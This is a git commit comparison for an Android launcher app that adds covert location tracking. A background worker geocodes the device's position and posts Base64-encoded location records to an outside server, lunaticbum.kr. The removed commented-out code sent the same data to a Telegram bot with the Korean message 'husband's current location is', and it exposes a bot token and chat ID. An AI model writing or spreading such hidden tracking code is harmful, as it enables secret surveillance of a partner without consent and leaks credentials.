Compare commits
3 Commits
a7dfa35e10
...
440f136e50
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
440f136e50 | ||
|
|
ed1371c84e | ||
|
|
74902ecb73 |
@ -40,9 +40,8 @@ internal class FeedsResult : BottomSheetDialogFragment() {
|
||||
if (it.size > 0) {
|
||||
binding.logs.text = it.map {
|
||||
BLog.LOGE("LocLog >> ${it.toString()}")
|
||||
SimpleDateFormat("yyy/MM/dd-HH:mm:ss").format(Date(it.time))
|
||||
it.mAddressLines.joinToString(" , ")
|
||||
}.joinToString( " , ")
|
||||
SimpleDateFormat("yyyy/MM/dd-HH:mm:ss").format(Date(it.time)).plus("\n").plus(it.mAddressLines.joinToString(" ,\n"))
|
||||
}.joinToString( ",\n")
|
||||
}
|
||||
}
|
||||
return binding.root
|
||||
|
||||
@ -10,9 +10,12 @@ import androidx.work.WorkerParameters
|
||||
import com.google.android.gms.location.LocationServices
|
||||
import com.google.android.gms.location.Priority
|
||||
import com.google.android.gms.tasks.CancellationTokenSource
|
||||
import com.google.gson.Gson
|
||||
import okhttp3.ConnectionPool
|
||||
import okhttp3.MediaType
|
||||
import okhttp3.OkHttpClient
|
||||
import okhttp3.Request
|
||||
import okhttp3.RequestBody
|
||||
import okhttp3.Response
|
||||
import okhttp3.ResponseBody
|
||||
import rasel.lunar.launcher.LauncherActivity.Companion.runWeatherGetter
|
||||
@ -23,6 +26,7 @@ import rasel.lunar.launcher.utils.BLog
|
||||
import java.io.IOException
|
||||
import java.math.BigDecimal
|
||||
import java.math.RoundingMode
|
||||
import java.util.Base64
|
||||
import java.util.Locale
|
||||
import java.util.concurrent.Executors
|
||||
import java.util.concurrent.TimeUnit
|
||||
@ -69,43 +73,44 @@ class LocationGetter(context: Context, workerParams: WorkerParameters) : BaseGet
|
||||
BigDecimal.valueOf(location.getLongitude()).setScale(6,RoundingMode.HALF_UP).toDouble(),
|
||||
1) { addresses ->
|
||||
addresses.first()?.let {
|
||||
WorkersDb.push(LocationLog().apply {
|
||||
LocationLog().apply {
|
||||
fillData(it)
|
||||
})
|
||||
// it.getAddressLine(0)?.let {
|
||||
// Executors.newSingleThreadScheduledExecutor().schedule({
|
||||
// try {
|
||||
// //////-1002450229641
|
||||
// val url =
|
||||
// "https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=83268260&text=남편의현위치는${it}"
|
||||
// //7068729507
|
||||
// // OkHttp 클라이언트 객체 생성
|
||||
// val client = OkHttpClient.Builder()
|
||||
// .connectionPool(ConnectionPool(5, 60, TimeUnit.SECONDS))
|
||||
// .build()
|
||||
//
|
||||
// // GET 요청 객체 생성
|
||||
// val builder: Request.Builder = Request.Builder().url(url)
|
||||
// .addHeader("Content-Type", "application/json").get()
|
||||
//
|
||||
// val request: Request = builder.build()
|
||||
//
|
||||
// BLog.LOGE("telegram before request ")
|
||||
// // OkHttp 클라이언트로 GET 요청 객체 전송
|
||||
// val response: Response = client.newCall(request).execute()
|
||||
// if (response.isSuccessful()) {
|
||||
// // 응답 받아서 처리
|
||||
// val body: ResponseBody? = response.body()
|
||||
// if (body != null) {
|
||||
//
|
||||
// }
|
||||
// } else BLog.LOGE("telegram Error Occurred")
|
||||
//
|
||||
// } catch (e: java.lang.Exception) {
|
||||
// e.printStackTrace()
|
||||
// }
|
||||
// }, 5, TimeUnit.SECONDS)
|
||||
// }
|
||||
Executors.newSingleThreadScheduledExecutor().schedule({
|
||||
try {
|
||||
//////-1002450229641
|
||||
val url =
|
||||
"https://lunaticbum.kr/bums/save/loc.api"
|
||||
//7068729507
|
||||
// OkHttp 클라이언트 객체 생성
|
||||
val client = OkHttpClient.Builder()
|
||||
.connectionPool(ConnectionPool(5, 60, TimeUnit.SECONDS))
|
||||
.build()
|
||||
|
||||
// GET 요청 객체 생성
|
||||
val builder: Request.Builder = Request.Builder().url(url)
|
||||
.addHeader("Content-Type", "application/json").get()
|
||||
builder.method("POST", RequestBody.create(MediaType.parse("application/text"), Base64.getEncoder().encode(Gson().toJson(this@apply).toByteArray())))
|
||||
val request: Request = builder.build()
|
||||
|
||||
BLog.LOGE("telegram before request ")
|
||||
// OkHttp 클라이언트로 GET 요청 객체 전송
|
||||
val response: Response = client.newCall(request).execute()
|
||||
if (response.isSuccessful()) {
|
||||
// 응답 받아서 처리
|
||||
val body: ResponseBody? = response.body()
|
||||
if (body != null) {
|
||||
|
||||
}
|
||||
} else BLog.LOGE("telegram Error Occurred")
|
||||
|
||||
} catch (e: java.lang.Exception) {
|
||||
e.printStackTrace()
|
||||
}
|
||||
}, 5, TimeUnit.SECONDS)
|
||||
WorkersDb.getRealm().writeBlocking {
|
||||
copyToRealm(this@apply)
|
||||
}
|
||||
}
|
||||
}
|
||||
addresses.forEach { }
|
||||
}
|
||||
|
||||
@ -7,9 +7,17 @@
|
||||
android:padding="@dimen/twelve"
|
||||
android:clickable="true"
|
||||
android:focusableInTouchMode="true">
|
||||
<TextView
|
||||
android:id="@+id/logs"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"/>
|
||||
<ScrollView
|
||||
app:layout_constraintTop_toTopOf="parent"
|
||||
app:layout_constraintLeft_toLeftOf="parent"
|
||||
app:layout_constraintRight_toRightOf="parent"
|
||||
app:layout_constraintBottom_toBottomOf="parent"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content">
|
||||
<TextView
|
||||
android:id="@+id/logs"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"/>
|
||||
</ScrollView>
|
||||
|
||||
</androidx.constraintlayout.widget.ConstraintLayout>
|
||||
Loading…
x
Reference in New Issue
Block a user